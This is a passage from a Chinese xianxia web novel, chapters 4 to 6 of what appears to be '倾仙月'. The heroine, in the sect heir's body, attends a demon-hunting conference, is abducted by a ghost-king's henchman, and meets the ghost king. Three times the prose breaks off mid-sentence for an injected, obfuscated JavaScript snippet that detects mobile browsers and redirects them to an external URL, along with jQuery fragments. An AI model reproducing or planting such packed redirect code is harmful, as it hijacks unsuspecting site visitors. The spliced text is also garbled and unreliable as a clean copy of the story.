不过眼下都离去了,只韩若歌交待一句让他看着点儿少宗主,有什么异常之处,尽快通传。
小师妹的确不是个能安静待着的性子,但今天不知是怎么了,一直呆在屋子里安心地静养,想到韩若歌说她成长了,菁华感到十分欣慰。
这真是件好事。
正想着,小师妹推门从屋子里出来,嗅了下院子里的清香,笑着说:“师兄,你这是在研习什么药方?”
“谈不上研习,给韩师叔做药丸备的几味草药。”菁华放下书,看向她道:“怎么不再歇歇?”
“我感觉我已经好全了,”月情说着微微笑了笑,另一边少宗主抱臂神气道:“我自小受了什么伤,一天就能休养好。”
月情回想到昨日无一不崩溃的医修们,微微扯唇,倒也不必因此而骄傲。
菁华仍温吞地劝她,“韩师叔交代你这几天还要安心静养,最好不要四处走动。”
“多谢师兄关心,不过我感觉我已经没有大碍,”月情走动两下,展了展手,让他瞧道:“你且仔细看看——”
菁华刚要再劝她两句,一阵风起,吹得他发丝拂乱眼神迷离,正此时,临面突然打过来一张黄符钉在他额头正中心,一切不过呼吸之间。
“得罪了,师兄,”月情拱手向他道歉,路过他摆满草药的凉席,瞧见他放在一边的红灵果,手一顺,笑道:“这个还挺好吃的,师兄不介意我再拿几个吧?”
全无防备且欣慰着的菁华:“……”
以前的少宗主是个天天撞南墙的死心眼,而现在居然学会了以退为进——他怀疑人生,心道,小师妹的确是成长了。
但师妹,你迈得步子是不是太大了?!
4. 倾仙月(四)
方才那枚黄符乃是定身符,月情本还担心能否一击即中,没想到效果如此之好。
少宗主见她捏着一张黄符眼眸流光溢彩,甚是惊奇的模样,不由扬眉一笑,道:“不错,看来你已经寻到了修仙之道的大门,还是很有修炼前途的。”
月情夹着黄符轻轻在指尖转了转,突然理解了连绝为何痴迷于这般稀奇古怪的传说,因而这一切实在是太过玄妙、太过新奇,夺人眼目。
少宗主又道,“此番若要溜出后山,须得低调行事。”
她在这方面造诣颇深,滑不溜秋地,指挥着月情往偏僻处行,有惊无险地避过了其余修士。
显而易见是个惯犯。
为了低调,二人是步行至山下的城池,一路都没人发现异常,这才能顺当地排上传送千里的法阵,赶在太阳落山之前到达芳华寺所在的金轮城。
路上少宗主简单说了下修仙界大致的情况。
原来这偌大修仙界,虽有移山填海之玄妙,斗转乾坤之奥秘,但大多依旧是毫无根骨的凡人,若要修仙问道,不知须得花费几般力气才得知一二,而想要修至化羽,得道成仙,更是万般艰难险阻拦在身前,令人望而却步。
以少宗主的话来说,修仙、修仙,却始终无法得道成仙,还不若做个平凡人,去寻平凡路,做个潇洒自由的人,好过终日里被这些雾里看花三分美的天上仙迷惑心智,于是终身蹉跎在此,却不得其法,只徒增怨念。
而这怨念,则是妖魔鬼怪的大补之物。
“虽然在我眼中,这些妖魔鬼怪不足为虑,毕竟这世上就没有我除不了的妖,斩不了的鬼,”少宗主不以为然一瞬,语气却又沉下来,道:“但邪物之所以邪,乃是因为永无止境的贪恋,因为那肮脏沉沦的欲望。”
“就像那个作恶多端的鬼王,他也是因为贪恋,才得以滋生,最后变成如今这般的庞然大物。”
鬼王诞生于几十年前,那时候修仙界人族鼎盛,妖魔鬼怪皆为颓势,可谓是修士遍地走,小鬼齐缩头,正是人间繁华富足,欣欣向荣的好景象。
但好景不长,一只恶鬼横空出世,他刚现身便屠戮了四十九云天,披着血雨踏着修仙界,竟凭一己之力,将所有繁华安定生生撕碎。
而当时修仙界最鼎盛的三大宗门,其中无数修仙大能,在这只恶鬼面前竟毫无还手之力,只短短几夜,被悉数灭门。
侥幸逃脱者,在后来几年之间也被这恶鬼寻到,可谓是赶尽杀绝,心肠狠辣,手段残忍之令人惊惶不敢安。
哪怕到了如今,提及鬼王的名号,岂止是夜啼的小儿,即使是修仙小成的修仙者,都噤若寒蝉。
“这只恶鬼,在这几十年里很少出山,但凡出动,必然是尸山血海。他之可恶,已经无法用言语形容,这修仙界里无数人不痛恨他,无数人不想除掉他,”少宗主嗓音低沉,竭力忍耐着恨意,却仍旧不免咬牙切齿,“而他也是我痛彻心扉的杀父仇人——”
“鬼王连绝!”
说到这里时,月情刚在金轮城找了家看着高大气派的酒楼,特特点了几道闻所未闻的菜,安安静静听着少宗主讲话,就像听说书人讲故事一样,只觉新奇诡异恐怖,并没往心里去,直到这个名字的出现。
鬼、王、连、绝——
四个大字,如雷贯耳。
月情一口水顿时呛在嗓子里,这会儿是上不去下不来,咳嗽半天,差点噎死。
少宗主惊讶道:“你都没见过,居然被吓成这样?”
从昨日到今天,桩桩件件都不是一个寻常女子能淡然处之的,可月情分明从不知修仙界,反应却并不激烈,甚至还悠哉悠哉地寻酒楼点特色菜肴,可谓兴致勃勃,毫无害怕之情。
少宗主看在眼中,还在琢磨此女淡然自若,心思深沉镇定,是个厉害人物,不想鬼王还未现身,仅仅一个名头就把她给吓住了。
月情好半天才缓过气,不可置信道:“你是说方才那只杀人无数,凶狠残忍的恶鬼名叫连绝?”
少宗主摸不准她的态度,嗯了声,“怎么,你认识?”
岂止是认识,简直是熟的不能再熟。
月情一脸复杂,想了想连绝那副没心没肺的单纯天真样,再想了想方才少宗主描述的那只凶狠无比的恶鬼。
恩,她确信,这绝不是一个人。
她勉强镇定,缓缓言,“说来也巧,我身边就有个与鬼王同名同姓的人。”
少宗主拧眉,而后诚挚地建议她,“赶紧让你那朋友改名,真的,这名字折寿。”
月情:“………”
不用说了,她待会儿就去芳华寺里求个平安符,再请大师开个光,等回头见了连绝,她就把平安符贴在他脑门上。
阿弥陀佛。
**
金轮城乃是座依山而建的城池,城中百姓无数,热闹非凡。
又因芳华寺如今召开清缴大会,城头巷尾,多了不少身姿绰约,整装待发的宗门修士。
月情抓着地图找上山的路,看着热热闹闹的街巷,顺手买了三个包子放兜里边啃边走。
少宗主偏头瞧她,从昨天开始,月情一直在吃吃吃。
她不解道:“我已辟谷,无须食用五谷杂粮。”
月情顿时怜悯地看着她,“无须食用五谷杂食?少宗主,那你这一生未免太凄惨了。”
“……”
少宗主一僵,发现她是真情实感地为她痛惜,半晌憋不出一个字。
她不由皱眉,月情根本无法理解修仙界,也无法理解修仙之道,她突然之间觉得,俩人说好的合作恐怕是永永远远都达不成了。
芳华寺自然在芳华山上。
山门向下乃是一道绵延无尽的天梯,而有一道护界之碑,将无有通行令牌者皆拒之于外。
少宗主惊讶万分,蹙眉道:“不是说都能来,怎么还要通行令牌?”
月情:“……”
从昨天夜里开始,她就感觉少宗主不靠谱,如今再见,心中顿时渺茫,若与少宗主合作,只怕是永永远远都回不去倾仙楼了。
这时,几道若有所无的目光吸引了月情的注意。
山下来来往往的人并不在少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950843|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
数,其中多是修士,她本也没放在心上。
只是稍稍一观察,就发现凡是有人经过她身边,脚步一一都慢了下来,且有意无意地在瞧她。
但月情若是追着视线过去,对方便急急撤走,而后飞速离开。
月情:?
她狐疑地走下台阶,瞧见前边不远处栽种着一株月桂,虽未开花但已枝繁叶茂,那其后是两三个少年子弟的身影,在婆娑的树影中,他们也在偷偷地看她。
月情敛眉,直接寻了过去,那群少年人见她发现,连忙转了身,寻着伙伴互相拉手,假装在谈论旁的事情。
“几位道友,敢问你们方才可是在看我?”月情问道。
众人回目来见,但见一张清丽脱俗的脸,一双灿若星辰的眼睛,蕴着说不上来的柔和笑意,而平日里的冷淡高傲半点寻不见,只将将往那一站,便令人好感频生。
“少宗主,”其中一少年摸着后脑勺站出来,颇有些不好意思,道:“我们不是在偷看……只是忽而看见你,不太确定,所以才躲在这里谈论。”
这几个子弟着统一的校服,皆是白衣绣金边,胸口处是金线挑出的一只金蟾,衣领上分别有一道金线,俱是玉蟾宫的外门弟子。
少宗主并不认识他们,但他们却都认识少宗主。
毕竟现在这个修仙界,谁人不知净月宗少宗主月晚的名声,她就是修仙界传闻中几百年难遇的绝世天才。
十岁便可除为祸一方的大妖,十三岁即斩百鬼一举成名,如此天赋却从不懈怠,几乎无时无刻都在修炼。
乃是名副其实的修仙界第一卷王,如今更是半步问天境。
可谓是令其余天赋不如勤奋不比的修仙者万分羞忏。
“昨天没在大会上看到您我还惊奇呢,原来您和我们一样在山下玩,”几个弟子中唯一的女弟子青嫦热情地招呼她,邀约道,“金轮城今天还有表演,我们刚准备过去,少宗主要一块去吗?”
月情微微笑了笑,从善如流,“我还要去山上办些事情,不过通行令牌忘了拿,这位姑娘能借我下吗?”
青嫦连忙把令牌拿出来交给她,热情道:“少宗主不用急着还,我们这儿还有一块。”
月情双眼弯弯,温善道:“谢谢姑娘,姑娘真是人美心善,下次再见面,我请你吃饭。”
青嫦轻讶了声,受宠若惊,毕竟天才都有古怪的脾性,这位少宗主也不例外——月晚不轻易出山,出去了也从不与外人主动搭话,她见过一二次,少宗主无外乎都冷着张脸,虽然也有清冷无双的凛冽,但如何能比得上此刻的温声细语与融融笑意?
更何况是对着她。
青嫦的脸都笑红了,不住点头,羞赧地说不必客气,目送月情上山。
少宗主本尊则抱臂在一旁,看得那叫一个目瞪口呆。
她不爽道:“平时怎么没有人对我这般热情?”
“嗯?我瞧着他们可不是在崇拜你傲人的修仙天赋吗?”月情疑惑道。
少宗主停了停,骄傲地说:“那是。”
月情但笑不语。
5. 倾仙月(五)
看来,这少宗主还是修仙界的大名人。
月情抚了下脸,想了想,随手扯了条面巾罩在脸上遮去了容颜。
抵达至芳华寺内,其间人来人往,宽阔的广场间,四处皆插着绣了仙门百家徽文的旗帜。
行走各处皆为身着同一校服的仙门弟子,场面盛大恢宏,可见修仙界有多重视此次清剿大会。
月情打眼瞧了一圈,随着沙弥进到主殿去,先拜了佛祖,所求平安符。
她小时候没什么玩伴,自己常常跑到村外头一个土庙里玩,也不认识什么菩萨罗汉,只知道这世间神佛聆听祈愿,能佑人财运亨通,富贵平安,便一直存着一份敬畏之心。
这次月情照例摇了摇签,甩出来的乃是一根上上签。
“运气不错呀,”少宗主赞道。
月情看着签文微微扬唇。
殿外响起了悠远的钟声。
她起身供上香火,出了殿门一瞧,清剿大会已然开始。
广场上各门各派皆有章法地围聚在一高台之下,因着各家校服不同,而显得泾渭分明。
月情今日所着是件淡青色的衣裙,瞅见一门派校服与她相似,便假装无意地靠近,打算混入其中。
谁料她刚站过去,身侧两边的人皆侧目过来,纷纷微笑着叫她,“少宗主。”
月情:“……”
她默默收回刚抬出去的脚,假装淡定道:“这不是净月宗啊,我走错了。”
话音刚落,高台之上突然传来一道声音,“少宗主,你还是来了。”
那声音平和宽厚,乍然一听仿佛是在月情面前说话,而抬眼去,却见着一个年过半百的和尚面目慈祥地站于高台之上,遥遥与她点头示意。
原本还不算十分显眼的月情顿时成为众矢之的,一排排的目光那是齐刷刷地往这里扫过来,看她的眼神简直像看上古神兽一样稀奇。
月情:“………”
她只是想偷偷旁听一下,麻烦请无视她好吗?
而这一排眼神中竟然有杀气传来——月情一怔,敏锐地盯过去。
昨日与她和风细雨、百般心疼的月如龙此时此刻正沉沉地盯着她,几乎要盯出个洞来,满眼是冷冰冰的怒火。
——你昨日的保证呢?
她咯噔一下,立马拱手道,“路过,纯属路过,你们请继续,千万不要在意我。”
说完脚底抹油就要溜。
那高台之上的慧文大师却微微一笑,道:“少宗主不要谦虚,谁不知道你正义豪爽,嫉恶如仇,视鬼王连绝为眼中钉、肉中刺。”
月情脚步不停。
那慧文大师轻叹着说,“想必你也听说了前不久百目鬼屠村的事。”
月情被迫停下脚步,心道,她是真心未听说过。
只上次少宗主道鬼王屠戮了半片修仙界,这次又有百目鬼血洗村庄。
这个地方,简直是恐怖如斯,杀人如杀猪。
不,月情心道,纵然是过年杀猪都不能杀这么勤啊!
一道如同黄鹂般明脆的女声悲愤地响起,“就在不久之前,太阴山百目鬼一夜之间害了一整个村子,男女老少,无一不被挖了眼睛,失了魂魄!”
她站在妙音宗的旗帜之下,悲痛万分,恨道:“百目鬼本不成气候,但投了鬼王连绝,有鬼王为他保驾护航,他的修为顿时大涨,法力之高强,竟令我宗为他折了三个修士。”
话落,那边传来低泣声,整个广场顿时被笼罩上一层阴云,令人闻之感伤。
少宗主双眼一红,怒道:“该死的鬼王!”
慧文大师高声与诸位修仙界同僚道:“鬼王失了一员大将,必然震怒,不久后定会百般报复修仙界。因几十年前屠杀四十九云天一事,而今修仙界已是分外萧条,我思来想去,能令这鬼王忌惮的恐怕独有少宗主一个。”
他说着向月情看过来,其余修仙界人士竟无一例外地认同了他的说法,殷切不已地附言。
此时此刻,她不是十六岁的少女“月晚”,而是被赋予除灭传说中凶残狠戾的鬼王的唯一希望。
就连少宗主自己都理所应当,哼道:“不必他说,我也会宰了鬼王,替天下除害。”
月情却心生古怪。
在她眼里,少宗主分明是个性子不大沉稳还十分急躁的孩子,可这些“大人”却要少宗主去杀令修仙界闻风丧胆、谈之色变的鬼王。
开什么玩笑?
她敛下眸中暗含的情绪,无视掉月如龙不悦的视线,起身飞至高台上。
广场之上,数不清的各色旗帜,在风的鼓吹下,涌出一片彩色的海洋。
其下,是形容整肃的修士们,他们冠发齐整,仙姿傲骨,一身金银玉绣,贵不可言,而每一个人都有各自的风采与高傲。
他么为了心中大义,为了斩杀鬼王,齐聚在这里。
思来索去,念来想去,几天几夜,想出的唯一办法竟然是指望一位十六岁的少女。
月情眸中是不耻,但她当然不会点破,只顺着道:“鬼王作恶多端,杀戮甚重,让他死无葬身之地也不足以平息民愤,而我身为修仙界的一员,自然是要尽其力,绝不姑息。”
慧文大师点了点头,称赞她道:“不愧是少年弟子第一人,有气节。”
月情谦虚点头,却忽而咳嗽两声,虚弱道:“只可惜天有不测风云,不久前我闭关修炼,气息突乱险些走火入魔,现下伤还未养好,实在是不能出力。”
话落,慧文大师落在她脸上的目光逐渐微妙。
“而今次来,是想求一张大师开过光的平安符用以滋养伤势。”月情继而道。
话音落,底下的众修士皆感到诧异,一时间响起了一些古怪和质疑的声音。
对于鬼王连绝,少宗主从来没有掩饰过强烈的恨意,哪怕明知自身境界不足,她也毫无退缩之意,可这次,她却一反常态,难免不令人多想。
月如龙起身道:“我这侄女性子要强,纵然受了如此重伤,却仍旧不肯让我将平安符带回去,只道心不诚,定要亲自前来,大师见谅了。”
有他出言,这番话便多了三分信服的力度。
慧文大师微微一笑,多看了眼月情,将开过光的平安符重新递给她,只温和道:“既如此,少宗主便仔细养伤,有空再来芳华寺一叙。”
月情双手合十,“多谢大师。”
少宗主眼睁睁看着她跳下高台,步步不回头,“你怎么能走?怎么可以走,站住,站住!”
月情这次是真的一步不停,心道:“别闹了,我若是再不走,你大伯是真的要当着这上千人的面大义灭亲了。”
少宗主张开嘴,真是哑巴吞黄连,有苦说不出,心中郁闷至极。
月情瞧她郁闷,只觉得她年纪小不知事,被这群人捧得团团转。
鬼王一听就知道不好惹,月情原本盘算的是一边默默修炼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950844|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一边寻到无数天材地宝,一边再联合大能们一起干掉鬼王,就是如此她还觉得不太稳妥。
谁曾想,这群大能居然指望她一个人冲锋陷阵,傻子才不跑。
月如龙让她先去山下的客栈,待过后汇合,月情正往那边走,身旁就传来了几道叫唤声,转眼一看,正是青嫦一行人。
他们正打算上山去找师叔师伯,见了月情便像见到主心骨,连忙招呼过来,“少宗主!”
月情承了她的令牌,自然是要对她和颜悦色些,“怎么了?”
青嫦道:“少宗主,金轮城外我们发现了一丝邪气,像有妖怪,您能和我们一道去看看吗?”
妖怪?
月情不由问道:“什么妖怪?”
青嫦看着破邪盘,古朴的石盘上一条暗黄色的线布满了七分之二。
她道:“应是一只初初踏入聚灵境的妖。”
初初踏入聚灵境?
据少宗主所言,修仙道路上一共有七重境界,第一重乃触道,只要有个师傅便能领进门,其后就是聚灵,这一境界就是分水岭,大部分修行之人便终生蹉跎在了聚灵境。
所谓修行大道,道阻且长,若非有一颗坚定不移的道心,无论如何也到不了第三重悟念境。
至于之后的叩心、踏墟、问天、化羽这四重境更不用提。
而少宗主虽然才十六岁,却已经是踏墟境巅峰,若非走火入魔,已然成为修仙界历史上最年轻的问天境。
她的确是修仙界难能一见的天才。
就拿青嫦几人而言,他们年岁比少宗主也就小二三岁,却大多还在触道与聚灵境界,如此一看,少宗主已经不能用天才来形容,简直是变态。
年轻的弟子们对她甚至都生不出嫉妒,差距实在太大,唯有崇拜。
少宗主闻之不屑道,“聚灵境?我一根手指就能灭了它。”
月情握住寒烟,也很想试一试这修仙术法的能耐,于是交代一人照例去送信,自己则领着其余弟子前去探查。
破邪盘指向了一个稀疏的树林,此时日头正盛,大片大片的阳光从头顶洒落下来,像被揉碎的金箔纸,瑰丽璀璨。
一行人进入林中,一路寻至一细小的溪流边,而此处流水声微弱,落叶亦无声,于是便显着那噗嗤一声的突出。
原是一名修士,持着一柄细白发亮的长剑割破了妖怪的喉管。
听见脚步声,手持长剑的修士回转过身。
那是一位青年,眉目年轻,瞧过去温润如玉,身姿颀长而气度不凡,已轻松解决了低阶小怪,见到他们一行人,笑道:“道友来得不巧了。”
此青年眉目温和,笑起来时如若朗月入怀,令人见之心旷神怡,暗中颇生好感。
而他竟也穿了身白衣,胸前是只金蟾,同样是玉蟾宫的人,看起来,应是这几位的师兄。
青嫦几人小声交流一番,发现都不认识他,其中年长些的镜遥走出来,拱手询问道:“师兄不知是拜在哪位宫主门下,怎从未见过?”
“我这个人不爱出门走动,”青年男子靠近一步,笑眯眯地说,“几位师弟师妹不认识我也是应当的,不过我这张脸虽然生,但我的名字,想来各位都是听过的。”
镜遥恭谨道:“请师兄赐名。”
那男子笑了一下,原本是个极其温雅的人,可这一笑,他整个面容都变得邪佞,笑容更是恣意逐渐放大,玩味道:“风宁。”
6. 倾仙月(六)
话音落,月情几乎是下意识将站出去的镜遥给带了回来,而镜遥原先站着的地方立时被扎了一根白玉般光华的冷剑。
她不由拧眉,盯向那男子。
少宗主反应最大,叫道:“风宁是鬼王的手下,四大护法之一!”
——恶鬼风宁,传闻中他行事诡异张扬,最爱玩弄人心,落到他手中可谓是生不如死,无数人传言,比起被他逮住,不如自杀来得痛快!
“嘻嘻,方才少宗主好威风,要让我们大王死无葬身之地,”风宁说着步步走近,微一抬手,扎在土里的剑又落到他掌心,邪气频生,偏生一把嗓子拿捏得甜腻,说来似乎亲热极了,却暗藏诡异冷然,“那若不然,便由我带你去找我们大王,看你是要怎样让他死无葬身之地。”
“放求救信号,”月情表面很淡定,甚至将其余几个小弟子往后护了护,实则已经在心里把芳华寺问候了八百遍。
说好的上上签呢?
说好的开过光的平安符呢?
大师,虽然我临阵脱逃,但好歹我也捐了香火钱,你不能坑我啊!!!
少宗主还在旁边点火,“杀了他!”
月情也知只能战不能退,脚步一停,冷脸又抓了寒烟砍过去,而少宗主见之险些晕厥。
剑法灵动飘逸,她的寒烟更是自带冰息凝霜,甫一出剑那是天地都为之变色,在薄雾中絮雪飞舞,纵使在杀人,也雅到了极点。
可在月情手中,她的寒烟就像一把砍柴的柴刀,被抡着去劈风宁,别说雅了,简直是不忍直视。
少宗主瞪圆了眼,道:“寒烟是你这么用的吗,你在做什么?!”
月情却理所当然,提着寒烟猛砍,甚至无暇理会她,大声回:“我是个厨子,自然是在砍瓜切菜!”
少宗主:“………”
一时之间,不知是被当做菜刀的寒烟更可怜,还是被当做菜瓜的风宁更可怜。
她气势如虹,第一下竟然把风宁给镇住了,再一转,手中符纸翻飞,齐齐射出去,但风宁手中的剑更快,缴了她的黄符,打飞出去,一排死死钉在树根上,留下道道金灿灿的灵光。
青嫦几人在她的掩护之下拉出求救信号,风宁挡住一剑,弯眼嬉笑道:“我似乎说过,我是玉蟾宫的弟子。”
话落,暗沉的天幕中,突兀地亮起一只响应救援的金色蟾蜍,在天空中留下明亮的色彩。
扭曲的光芒映在他的脸上,明明明丽灿烂,却只让人心生诡异恐惧。
“怎么…怎么会?”青嫦不可置信地喃喃。
这个信号分明只有玉蟾宫内门弟子才有资格响应,可这个风宁,传说中鬼王的手下,为何会——众人惊惧,难道他已经潜入进了玉蟾宫?
而风宁不愧是玩弄人心的高手,见此情此景,特特来杀人诛心,轻佻笑言,“怎一副受委屈的模样,师哥也非不讲理之人,只要你们跪着磕三个响头,高声语风宁是玉蟾宫天下第一弟子,我就放了你们。”
青嫦等人瞬间红眼怒视,纷纷骂道:“你做梦!”
月情表情不变,发紧的手腕一转,冰冷如霜的寒烟突兀地攻向风宁下阴,在扭曲的光影中,划出一道冰蓝的弧线。
风宁竟还能反应过来,侧身一避,不屑冷笑,“堂堂少宗主,竟如此下流卑鄙?”
少宗主也呆了,涨红了脸,不可置信道:“你在做什么,我的天,我…我,我的一世英名……”
月情却冷淡着脸并不以为意,施施然回她道:“偷袭。”
她于修行所知不多,想要一招制胜,唯有偷袭。
但这只恶鬼的反应速度实在是太快了,即使如此出其不意,还是被他躲了去。
不过月情能隐隐感觉出来,自己的境界在风宁之上,如此,她更不能慌,而无声地释放气息,就是无形的震慑。
月情看着冷笑的风宁,同样冷笑,“所以呢?你是让我同恶鬼讲道义吗?”
青嫦握拳道:“少宗主加油,灭了这只滔天恶鬼!”
风宁轻轻挑剑,他也意识到了眼前这个年轻的姑娘境界不俗,向后撤开了步子。
月情见他人模人样,暗想他智慧应该不低,心知自己是下风,应该赶紧逃走才是上上选。
而她,只要不露怯——
正此时,异变突生。
风宁忽然抬手捂住了半边脸,勾着邪气的唇角,疯狂大笑,“我是恶鬼,你说得对,你说得好啊!”
他倏然杀回来,越战越勇,像是被激怒了一般,愈发恣意癫狂。
月情连忙抬手,“琤”一声挡住他不住挥来的剑,暗道不好。
好消息,对方根本没有智慧。
坏消息,对方真的没有智慧。
“快使用回风流雪剑墟!”少宗主在她耳边尖声提醒。
月情:“……”
她只会砍瓜切菜剑法。
月情本就是靠着境界在狐假虎威,手上的符纸在风宁面前根本来不及施展——他的速度实在是太快了,她的眼睛几乎追不上他的影子。
少宗主道:“糟了,这是他的剑墟。”
踏墟境悟境墟,有境墟和无境墟是两个人,如此,胜负已分。
出师未捷身先死——咔哒一声脆响,月情手上就多了一条灰蓝色的咒文镣铐。
风宁讥讽道:“踏墟境巅峰,不过如此。”
少宗主气到爆炸,“如果我没有走火入魔,一只手吊打他!”
可惜无如果。
除了她,其余人对于风宁而言就是小虾米,三下五除二被逮捕,随后被他一起甩到了黑暗中的鬼行车上。
月情看了眼车上灰蓝色的符文咒印,眼眸沉沉。
听到青嫦嘶了声,她转头低声问:“怎么了,磕到了?”
青嫦连忙摇头说没有,又担心起她来,“少宗主,你方才手一直在抖,没事吧?”
月情听她关心自己,笑了笑,温声道:“没什么,只是余力未散而已。”
这时,镜遥边上的一个男弟子忽而小心翼翼地问道:“少宗主,你方才使得是什么剑法?”
他们都属于正派教出来的传统弟子,剑法都是有路数的,方才看月情使的两下,完全毫无根据,看得一众弟子连连在心中惊呼——果然,天才不走寻常路。
月情欲言又止,少宗主连忙道:“你可千万别说你是在砍瓜切菜,否则我的脸都丢尽了!”
“……”月情低咳了一声,一本正经道:“这叫以剑为刀,名为惑乱剑法,主要目的便是骗过对手,似真似假,用以一击毙命。”
众人皆想到她突如其来的那一下,不由小腹一紧。
这惑乱剑法别的不说,毒是真的毒。
这时,驾车的小鬼忽而阴沉沉道,“叽叽咕咕说什么呢,再说话,第一个吃了你!”
吓得众人连忙噤声。
青嫦湿了眼睛,他们几个都是年轻弟子,这次来芳华寺是为了长见识,平日里都有师兄师叔等等保驾护航,哪里遇到过这些。
不由委屈,小声道:“怎么办,听说鬼王最喜欢吃少女的肉,还是生吃。”
少宗主也是少女,想到那场景,不由恶心得汗毛倒竖,便立刻嘱咐月情道:“若是鬼王要吃我的肉,你直接一头撞死。”
月情:“……”
很好,她也算明白为什么净月宗的人会吐槽少宗主爱作死了。
少宗主八字箴言:遇事不决,自杀为上。
**
不知过了多久,月情听到一阵嗡鸣声。
阴暗潮湿的气息涌过来,紧接着,天旋地转,他们落到了一个巨大的石台之上。
身后山林黢黢,隐隐有怨鬼嚎泣之声,前方则是一座冷冰冰的黑沉宫殿,上书极阴殿,其灯火清幽,泠泠暗暗,似是人间地狱。
而一列青面獠牙的小鬼待守在旁,死相个个凄惨可怖,一双青眼,直直盯过来,眼中尽是诡谲的贪婪狠厉。
除了他们,风宁还坑蒙拐骗了一波年轻弟子,见此场景,不少人都吓哭了,蜷缩在一块,瑟瑟发抖。
月情心知这便是鬼窝了,手指尖泛凉。
而少宗主这身份更是众矢之的,她甚至还来不及站稳就被拎小鸡般拎了出来。
“把其余人拖走,”风宁挥了下手吩咐下去,单拿了她,拾级而上,进了极阴大殿。
殿内倒没有点鬼火青灯,是悬了一应二十颗夜明珠,点缀四周,映得大殿仿若白昼。
月情不大适应,被刺得眯了眯眼。
“今
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950845|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天真是让我看了好大一出笑话,”风宁嘻嘻哈哈地把她扔在地上,嘁道:“修仙界那群老不死的整天想着怎么对付我们,还在金轮城开清剿大会,我这便出手,抓了他们不少人来!”
他疯疯癫癫道,“还有这个少宗主,目高于顶,竟敢公然咒大王死无葬身之地,看我不将她剁碎了喂狗。”
“风宁,大王都说了让你别抓人回来,你怎么又不听?”一个年轻男子出声,拍桌道,“我们虽然是鬼但是有格调的鬼,抓人那不成了人贩子?没品!”
风宁灵光一闪,“把他们全杀了不就变成鬼了,这样我们就是鬼贩子了。”
“……你可真是个大聪明。”蜻蜓无语。
风宁哈哈大笑,得意洋洋,“我本来就聪明。”
蜻蜓懒得理他,目光落向角落里默默挣扎着跪起来的月情,好奇问,“她就是声名在外的净月宗少宗主?”
“是她,”风宁不屑道,“那群老家伙们称她为修仙界百年难遇的绝世天才,传说中鬼王的克星,真可笑,她连大王的一根手指头都比不上。”
月情低着头,服气不已,经过今天一天,她发现——
这少宗主是个人都认识。
不,不是人的也认识。
她不由在心中幽幽道:“你真是无人不知,无鬼不晓。”
少宗主完全听不出反话,以为她在夸自己,哼了一声,平平无奇道:“也就一般吧。”
月情:“…………”
这还算一般,敢问什么才是不一般?
虽然令人无语,但也冲散了月情的不安与害怕,她呼出一口浊气,强行令自己冷静下来。
眼下也并非死局,尚且有两条路可以走,一是生来做狗——立即跪地求饶抱住鬼王的大腿一边献殷勤,一边狠狠咒骂仙门百家,与他们划清界限。
二是死去做鬼——破罐子破摔,正如鬼王化厉鬼一般,她心中不甘,怨气深重,指不定也可以化作厉鬼卷土重来。
只是,这两条路怕都是九死一生,行差踏错,都将万劫不复。
“风宁。”
她正飞速地思索着,一道低沉的声音却倏尔从上面传过来。
殿内的笑声与说话声戛然而止,台阶之上,主座之中,一个人影缓缓走近。
月情动了下眼眸,只感觉身上披了一层霜,阴冷刺骨至每一寸皮肤甚至血肉,让她的寒毛根根竖立,整个身躯竟也微微颤栗。
这是什么境界?
问天?化羽?不,她甚至都说不出来。
风宁应道:“大王。”
少宗主颤栗着又彻骨咬牙,“是他,是鬼王连绝……”
月情动弹了下手指,随之抬起了头,越过台阶,错开盈盈的珠光,直视向高处,那气势逼人的鬼王。
所见是暗紫色修长的人影,一张出乎意料的脸。
那张脸白皙剔透,却不显得文雅,而是异常的锋利,但还是少年人的眉骨与气质,而眉目深邃传情,睫毛卷密浓翘,乃是一张极其俊美却又无比干净凛冽的脸。
也是她无比熟悉的一张脸。
月情呆在原地,脑子一片空白。
此连绝竟真是彼连绝。
不,不会是他——她又蓦地冷静下来。
这人虽然生得与连绝一样,但他的脸上没有笑意,整个人也冷冰冰的,淡漠的视线仅仅扫了她一下,没有任何地停留。
语气也十足冷漠,阴沉。
“她说了什么?”
风宁龇牙道:“让大王死无葬身之地。”
“是吗?”连绝闻言却轻笑了一下,但这笑与往日月情看到的笑不尽相同,他的笑冰冷且残酷,眼中无万物,只剩黑沉沉一片死寂。
月情却呼吸骤停。
她盯着鬼王脖子上的一处暗疤,脑海中浮现的却是她伏首亲吻时,连绝不自觉掐紧她的腰难耐低吟的旖旎画面。
他说,这道疤是他小时候不小心摔到池子里时落下的,差点全村开席,吓得他爹逮着他狠狠揍了一顿,打得那叫一个惨,屁股开花嗷嗷叫,十来天都下不了床。
